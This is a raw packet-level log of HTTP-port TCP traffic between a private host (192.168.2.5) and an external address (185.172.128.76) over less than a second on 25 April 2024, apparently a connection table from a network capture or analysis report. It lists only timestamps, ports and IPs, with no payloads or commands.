Apr 25, 2024 21:47:55.580033064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580058098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580074072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580081940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580126047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580152988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580193043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580204010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580244064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580248117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580287933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580312967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580359936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580368042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580409050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580461979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580507994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580509901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580543995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580553055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580590010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580616951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580657959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580662012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580676079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580698967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580713987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580768108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580811977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580821991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580836058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580862045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580873966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580882072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580920935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580950022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580974102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.580986977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581007004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581056118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581098080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581099987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581115007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581136942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581152916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581175089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581187963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581213951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581223965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581237078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581259012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581284046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581321955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581337929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581351042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581379890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581389904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581402063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581439018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581710100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581747055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581756115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581784010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581868887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581913948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.581939936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.581983089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582070112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582099915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582118034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582139015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582273006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582320929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582320929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582348108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582360983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582386971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582417011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582453966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582462072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582504034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582532883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582575083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582659006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582701921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582710028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582746983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582776070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582788944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582819939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582830906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582855940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582868099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582891941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582905054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582943916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.582963943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.582999945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583065033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583111048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583115101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583151102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583168983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583208084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583399057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583412886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583451033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583467007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583491087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583504915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583530903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583533049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583569050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583620071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583664894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583719015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583765030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583795071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583837986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583892107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583940983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.583956003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583970070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.583996058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584009886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584033966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584073067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584098101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584127903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584151030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584163904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584163904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584199905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584223986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584260941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584279060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584316969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584342003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584384918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584398985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584424019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584436893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584464073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584475994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584498882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584526062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584530115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584544897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584556103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584566116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584569931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584593058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584604979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584609032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584642887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584664106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584700108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584718943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584754944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584825039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584837914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584862947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584876060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584911108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584949017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.584950924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.584984064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585050106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585094929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585130930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585165024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585175037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585202932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585221052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585258007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585264921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585278034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585306883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585321903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585323095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585349083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585366011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585381985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585455894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585500002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585516930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585556984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585593939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585607052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585638046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585653067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585881948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.585927010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.585963964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586009026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586034060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586080074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586101055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586139917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586153984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586167097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586195946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586196899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586234093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586242914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586281061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586303949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586350918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586374044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586388111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586410999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586425066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586452007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586491108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586689949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586735010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586790085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586836100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586844921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586880922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586882114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586920023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586946011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.586982965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.586999893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.587043047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.587053061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.587064981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.587090969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.587100983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.587101936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.587138891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.587285042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.587322950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.587327957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.587361097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.587366104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.587404013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588001966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588043928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588059902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588090897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588114023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588121891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588131905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588160038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588176966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588193893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588207006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588215113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588232040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588244915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588272095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588287115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588311911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588320971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588330030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588357925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588373899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588397026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588412046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588432074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588471889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588484049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588507891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588527918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588601112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588640928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588663101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588675022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588696957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588702917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588721037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588733912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588737011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588779926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.588783979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.588821888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.589181900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.589230061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.589242935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.589281082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.589296103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.589333057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.589792013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.589804888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.589837074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.589852095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.589895010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.589934111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590179920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590224028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590279102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590323925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590337038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590349913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590375900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590387106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590392113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590429068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590441942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590481043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590655088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590681076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590701103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590715885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590730906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590768099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590792894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590828896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590866089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590902090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590905905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590939999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.590958118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.590995073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.591011047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.591023922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.591049910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.591064930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.591134071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.591182947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786237001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786328077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786339998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786385059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786406994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786422014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786451101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786458969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786479950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786493063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786509991 CEST	80	49704	185.172.128.76	192.168.2.5
